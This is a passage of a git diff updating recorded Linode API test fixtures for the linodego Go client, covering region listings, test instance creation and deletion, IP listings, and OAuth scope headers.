100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "jp-osa", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "it-mil", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -131,7 +152,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-mia", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -140,7 +162,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "id-cgk", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -149,7 +172,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-lax", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -158,65 +182,75 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-central", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, - 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, {"id": "us-west", - "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, - 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU - Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", - "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block - Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", - "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, - DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": - "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": - ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, - 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: @@ -238,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:53 GMT + - Fri, 31 May 2024 17:27:13 GMT Pragma: - no-cache Strict-Transport-Security: @@ -255,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -264,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-np4414hfj90t","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-165nov18za8g","firewall_id":501396,"booted":false}' form: {} headers: Accept: @@ -276,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 55639838, "label": "go-test-ins-wo-disk-np4414hfj90t", "group": + body: '{"id": 59542159, "label": "go-test-ins-wo-disk-165nov18za8g", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["194.195.119.40"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["45.79.123.52"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "1cdfd240f9eef1b35432a2f0f1d0f56e7042e120", "has_user_data": false}' + "6c894953633c462841b5472b8531a0bcef51c1fa", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -301,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "738" + - "760" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:53 GMT + - Fri, 31 May 2024 17:27:13 GMT Pragma: - no-cache Strict-Transport-Security: @@ -322,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -331,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-4g7s970m8gbb","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-bn90cvh4722x","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -340,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55639838/configs + url: https://api.linode.com/v4beta/linode/instances/59542159/configs method: POST response: - body: '{"id": 58765147, "label": "go-test-conf-4g7s970m8gbb", "helpers": {"updatedb_disabled": + body: '{"id": 62728771, "label": "go-test-conf-bn90cvh4722x", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -372,7 +413,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:53 GMT + - Fri, 31 May 2024 17:27:14 GMT Pragma: - no-cache Strict-Transport-Security: @@ -387,7 +428,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -406,17 +450,28 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"linode_id":55639838}' + - '{"linode_id":59542159}' url: https://api.linode.com/v4beta/networking/ips method: GET response: - body: '{"page": 1, "pages": 1, "results": 2, "data": [{"address": "194.195.119.40", - "gateway": "194.195.119.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": - "ipv4", "public": true, "rdns": "194-195-119-40.ip.linodeusercontent.com", "linode_id": - 55639838, "region": "ap-west", "vpc_nat_1_1": null}, {"address": "1234::5678", - "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, - "type": "ipv6", "rdns": null, "linode_id": 55639838, "region": "ap-west", "public": - true}]}' + body: '{"page": 1, "pages": 1, "results": 6, "data": [{"address": "170.187.249.159", + "gateway": "170.187.249.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": + "ipv4", "public": true, "rdns": "170-187-249-159.ip.linodeusercontent.com", + "linode_id": 59516630, "region": "ap-west", "vpc_nat_1_1": null}, {"address": + "192.46.210.59", "gateway": "192.46.210.1", "subnet_mask": "255.255.128.0", + "prefix": 17, "type": "ipv4", "public": true, "rdns": "192-46-210-59.ip.linodeusercontent.com", + "linode_id": 59516929, "region": "ap-west", "vpc_nat_1_1": null}, {"address": + "45.79.123.52", "gateway": "45.79.123.1", "subnet_mask": "255.255.255.0", "prefix": + 24, "type": "ipv4", "public": true, "rdns": "45-79-123-52.ip.linodeusercontent.com", + "linode_id": 59542159, "region": "ap-west", "vpc_nat_1_1": null}, {"address": + "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", + "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 59516630, "region": + "ap-west", "public": true}, {"address": "1234::5678", "gateway": + "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", + "rdns": null, "linode_id": 59516929, "region": "ap-west", "public": true}, {"address": + "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", + "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 59542159, "region": + "ap-west", "public": true}]}' headers: Access-Control-Allow-Credentials: - "true" @@ -432,14 +487,12 @@ interactions: - max-age=0, no-cache, no-store Connection: - keep-alive - Content-Length: - - "513" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:53 GMT + - Fri, 31 May 2024 17:27:14 GMT Pragma: - no-cache Strict-Transport-Security: @@ -447,6 +500,7 @@ interactions: Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: @@ -455,7 +509,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -476,13 +533,24 @@ interactions: url: https://api.linode.com/v4beta/networking/ips?skip_ipv6_rdns=true method: GET response: - body: '{"page": 1, "pages": 1, "results": 2, "data": [{"address": "194.195.119.40", - "gateway": "194.195.119.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": - "ipv4", "public": true, "rdns": "194-195-119-40.ip.linodeusercontent.com", "linode_id": - 55639838, "region": "ap-west", "vpc_nat_1_1": null}, {"address": "1234::5678", - "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, - "type": "ipv6", "rdns": null, "linode_id": 55639838, "region": "ap-west", "public": - true}]}' + body: '{"page": 1, "pages": 1, "results": 6, "data": [{"address": "170.187.249.159", + "gateway": "170.187.249.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": + "ipv4", "public": true, "rdns": "170-187-249-159.ip.linodeusercontent.com", + "linode_id": 59516630, "region": "ap-west", "vpc_nat_1_1": null}, {"address": + "192.46.210.59", "gateway": "192.46.210.1", "subnet_mask": "255.255.128.0", + "prefix": 17, "type": "ipv4", "public": true, "rdns": "192-46-210-59.ip.linodeusercontent.com", + "linode_id": 59516929, "region": "ap-west", "vpc_nat_1_1": null}, {"address": + "45.79.123.52", "gateway": "45.79.123.1", "subnet_mask": "255.255.255.0", "prefix": + 24, "type": "ipv4", "public": true, "rdns": "45-79-123-52.ip.linodeusercontent.com", + "linode_id": 59542159, "region": "ap-west", "vpc_nat_1_1": null}, {"address": + "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", + "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 59516630, "region": + "ap-west", "public": true}, {"address": "1234::5678", "gateway": + "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", + "rdns": null, "linode_id": 59516929, "region": "ap-west", "public": true}, {"address": + "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", + "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 59542159, "region": + "ap-west", "public": true}]}' headers: Access-Control-Allow-Credentials: - "true" @@ -498,14 +566,12 @@ interactions: - max-age=0, no-cache, no-store Connection: - keep-alive - Content-Length: - - "513" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:53 GMT + - Fri, 31 May 2024 17:27:14 GMT Pragma: - no-cache Strict-Transport-Security: @@ -513,6 +579,7 @@ interactions: Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: @@ -521,7 +588,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -539,7 +609,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55639838 + url: https://api.linode.com/v4beta/linode/instances/59542159 method: DELETE response: body: '{}' @@ -565,7 +635,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:54 GMT + - Fri, 31 May 2024 17:27:14 GMT Pragma: - no-cache Strict-Transport-Security: @@ -580,7 +650,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestIPv6Range_Instance_List.yaml b/test/integration/fixtures/TestIPv6Range_Instance_List.yaml index e480c5d02..954a9abda 100644 --- a/test/integration/fixtures/TestIPv6Range_Instance_List.yaml +++ b/test/integration/fixtures/TestIPv6Range_Instance_List.yaml @@ -15,73 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", - "ipv6": 